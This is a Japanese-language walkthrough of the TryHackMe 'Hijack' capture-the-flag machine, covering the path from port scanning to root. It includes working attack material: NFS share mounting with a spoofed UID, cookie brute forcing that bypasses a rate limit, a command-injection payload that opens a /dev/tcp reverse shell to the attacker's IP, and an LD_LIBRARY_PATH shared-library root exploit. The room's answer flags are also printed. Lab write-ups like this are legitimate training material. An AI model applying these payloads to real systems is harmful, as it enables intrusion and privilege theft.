概要
TryHackMe「Hijack」のWalkthroughです。
Task1
Q1.What is the user flag?
ポートスキャンを実行します。
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.20.152 -oN nmap_result
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 94:ee:e5:23:de:79:6a:8d:63:f0:48:b8:62:d9:d7:ab (RSA)
| 256 42:e9:55:1b:d3:f2:04:b6:43:b2:56:a3:23:46:72:c7 (ECDSA)
|_ 256 27:46:f6:54:44:98:43:2a:f0:59:ba:e3:b6:73:d3:90 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Home
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100003 2,3,4 2049/udp nfs
| 100003 2,3,4 2049/udp6 nfs
| 100005 3 54179/tcp6 mountd
| 100021 1,3,4 32999/udp nlockmgr
| 100021 1,3,4 45721/tcp6 nlockmgr
| 100021 1,3,4 46650/tcp nlockmgr
| 100021 1,3,4 53583/udp6 nlockmgr
| 100227 2,3 2049/tcp nfs_acl
| 100227 2,3 2049/tcp6 nfs_acl
| 100227 2,3 2049/udp nfs_acl
|_ 100227 2,3 2049/udp6 nfs_acl
2049/tcp open nfs_acl 2-3 (RPC #100227)
44002/tcp open mountd 1-3 (RPC #100005)
46650/tcp open nlockmgr 1-4 (RPC #100021)
49957/tcp open mountd 1-3 (RPC #100005)
53388/tcp open mountd 1-3 (RPC #100005)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
21 | ftp | vsftpd 3.0.3 |
22 | ssh | OpenSSH 7.2p2 |
80 | http | Apache httpd 2.4.18 |
111 | rpcbind | |
2049 | nfs_acl |
80
番ポートでWebサイトにアクセスできました。
ディレクトリ列挙を行います。
$ dirsearch -u http://10.10.20.152
[12:00:39] 200 - 51B - /administration.php
[12:00:54] 200 - 0B - /config.php
[12:01:19] 200 - 362B - /login.php
[12:01:20] 302 - 0B - /logout.php -> index.php
[12:01:45] 200 - 387B - /signup.php
/signup.php
でアカウント作成ができます。
Username: test
,Password: password
でアカウント作成をしましたが、悪用できそうな機能は見つかりませんでした。
111
,2049
ポートがオープンしているのでHackTricksで調べるとテクニックが見つかりました。
マウント可能なパスを列挙すると/mnt/share
が見つかりました。
$ showmount -e 10.10.20.152
Export list for 10.10.20.152:
/mnt/share *
Kaliのフォルダにマウントします。
$ sudo mkdir /mnt/Hijack
$ sudo mount -t nfs 10.10.20.152:/mnt/share /mnt/Hijack -o nolock
パーミッションを確認するとUID1003
でアクセス可能でした。
$ sudo ls -la /mnt/
drwx------ 2 1003 1003 4096 Aug 8 2023 Hijack
UID1003
のアカウントを作成します。
$ sudo useradd -u 1003 newuser
$ sudo passwd newuser
New password:
Retype new password:
passwd: password updated successfully
$ su newuser
Password:
$ id
uid=1003(newuser) gid=1003(newuser) groups=1003(newuser)
マウントしたファルダを確認するとfor_employees.txt
を見つけました。
newuser@kali:/home/kali/Hijack$ ls -la /mnt/Hijack/
total 12
drwx------ 2 newuser newuser 4096 Aug 8 2023 .
drwxr-xr-x 3 root root 4096 Jul 26 12:28 ..
-rwx------ 1 newuser newuser 46 Aug 8 2023 for_employees.txt
中にはFTPのクレデンシャル情報が書かれていました。
newuser@kali:/home/kali/Hijack$ cat /mnt/Hijack/for_employees.txt
ftp creds :
ftpuser:W3stV1rg1n14M0un741nM4m4
FTPに接続します。
$ ftp 10.10.20.152
Connected to 10.10.20.152.
220 (vsFTPd 3.0.3)
Name (10.10.20.152:kali): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
テキストファイルをいくつか発見しました。
ftp> ls -la
229 Entering Extended Passive Mode (|||28837|)
150 Here comes the directory listing.
drwxr-xr-x 2 1002 1002 4096 Aug 08 2023 .
drwxr-xr-x 2 1002 1002 4096 Aug 08 2023 ..
-rwxr-xr-x 1 1002 1002 220 Aug 08 2023 .bash_logout
-rwxr-xr-x 1 1002 1002 3771 Aug 08 2023 .bashrc
-rw-r--r-- 1 1002 1002 368 Aug 08 2023 .from_admin.txt
-rw-r--r-- 1 1002 1002 3150 Aug 08 2023 .passwords_list.txt
-rwxr-xr-x 1 1002 1002 655 Aug 08 2023 .profile
226 Directory send OK.
.from_admin.txt
から
-
.passwords_list.txt
のどれかがadmin
のパスワードであること - ブルートフォースのレート制限がかかっていること
-
rick
,admin
というユーザーがいること
が分かりました。
To all employees, this is "admin" speaking,
i came up with a safe list of passwords that you all can use on the site, these passwords don't appear on any wordlist i tested so far, so i encourage you to use them, even me i'm using one of those.
NOTE To rick : good job on limiting login attempts, it works like a charm, this will prevent any future brute forcing.
.passwords_list.txt
はパスワードのリストになっています。
Vxb38mSNN8wxqHxv6uMX
56J4Zw6cvz8qDvhCWCVy
qLnqTXydnY3ktstntLGu
N63nPUxDG2ZvrhZgP978
(省略)
実際にブルートフォースでログインを試行するとレート制限に引っ掛かります。
レート制限を回避してadmin
でログインをします。
/login.php
のPOSTリクエストを確認するとレスポンスで文字列が返ってくることを確認できました。
返ってきたCookieをBase64
でデコードすると<username>:hash
の形式であると分かりました。
後半部分のハッシュ値を解析すると、MD5
でハッシュ化されたアカウントのパスワードであることが分かりました。
$ john md5 --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
password (?)
Cookieの値の構成をまとめるとbase64 encode(<username>:md5(password))
になります。
なのでこの値形式でパスワードリストをブルートフォースでCookieにセットすれば管理者ページにアクセスできそうです。
Burpで/administration.php
のペイロードを設定します。
Payload processing
でペイロードのプロセスを設定します。
ブルートフォースを実行すると、レスポンスサイズが一つだけ違うリクエストを発見しました。
発見した値をCookieに設定し、 /administration.php
にアクセスできました。
サービスチェック機能があり、マシン上で動作しているサービスの起動を確認できます。
コマンドインジェクションが出来そうなので;
で区切るとコマンドインジェクションを検出したエラー文が出力されました。
検出をバイパスできる文字列を勘で探していると&
のASCIIコードである%26
で区切るとコマンドインジェクションに成功しました。
下記のパラメータを送信しリバースシェルを張ります。
service=http%26bash+-c+"sh%20-i%20%3E%26%20/dev/tcp/10.6.55.144/1234%200%3E%261"&submit=
www-data
のシェルを取得できました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.20.152] 43016
sh: 0: can't access tty; job control turned off
$ ls
administration.php
config.php
index.php
login.php
logout.php
navbar.php
service_status.sh
signup.php
style.css
TTYを設定します。
$ python -c 'import pty; pty.spawn("/bin/sh")'
config.php
を見るとDBの認証情報が見つかり、これでSSH接続できそうです。
<?php
$servername = "localhost";
$username = "rick";
$password = "N3v3rG0nn4G1v3Y0uUp";
$dbname = "hijack";
// Create connection
$mysqli = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($mysqli->connect_error) {
die("Connection failed: " . $mysqli->connect_error);
}
?>
Username: rick
,Password: N3v3rG0nn4G1v3Y0uUp
でSSH接続に成功しました。
$ ssh rick@10.10.20.152
/home/rick/user.txt
からフラグを入手できます。
THM{fdc8cd4cff2c19e0d1022e78481ddf36}
A.THM{fdc8cd4cff2c19e0d1022e78481ddf36}
Q2.What is the root flag?
sudo -l
で確認します。
$ sudo -l
[sudo] password for rick:
Matching Defaults entries for rick on Hijack:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
env_keep+=LD_LIBRARY_PATH
User rick may run the following commands on Hijack:
(root) /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2
env_keep+=LD_LIBRARY_PATH
の項目に関する脆弱性以前TryHackMeで見たのでテクニックを探すと見つかりました。
下記サイトを基にコマンドを実行します。
Kaliにpe.c
を作成します。
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
ターゲットマシンでpe.c
をダウンロードします。
$ cd /tmp
$ wget http://10.6.55.144/pe.c
コンパイルし、sudo
でコマンドを実行するとrootシェルを取得できました。
$ gcc -o /tmp/libcrypt.so.1 -shared -fPIC pe.c
pe.c: In function ‘hijack’:
pe.c:8:1: warning: implicit declaration of function ‘setresuid’ [-Wimplicit-function-declaration]
setresuid(0,0,0);
^
$ sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2
/usr/sbin/apache2: /tmp/libcrypt.so.1: no version information available (required by /usr/lib/x86_64-linux-gnu/libaprutil-1.so.0)
root@Hijack:/tmp# whoami
root
/root/root.txt
からフラグを入手できます。
██╗░░██╗██╗░░░░░██╗░█████╗░░█████╗░██╗░░██╗
██║░░██║██║░░░░░██║██╔══██╗██╔══██╗██║░██╔╝
███████║██║░░░░░██║███████║██║░░╚═╝█████═╝░
██╔══██║██║██╗░░██║██╔══██║██║░░██╗██╔═██╗░
██║░░██║██║╚█████╔╝██║░░██║╚█████╔╝██║░╚██╗
╚═╝░░╚═╝╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░╚═╝░░╚═╝
THM{b91ea3e8285157eaf173d88d0a73ed5a}
A.THM{b91ea3e8285157eaf173d88d0a73ed5a}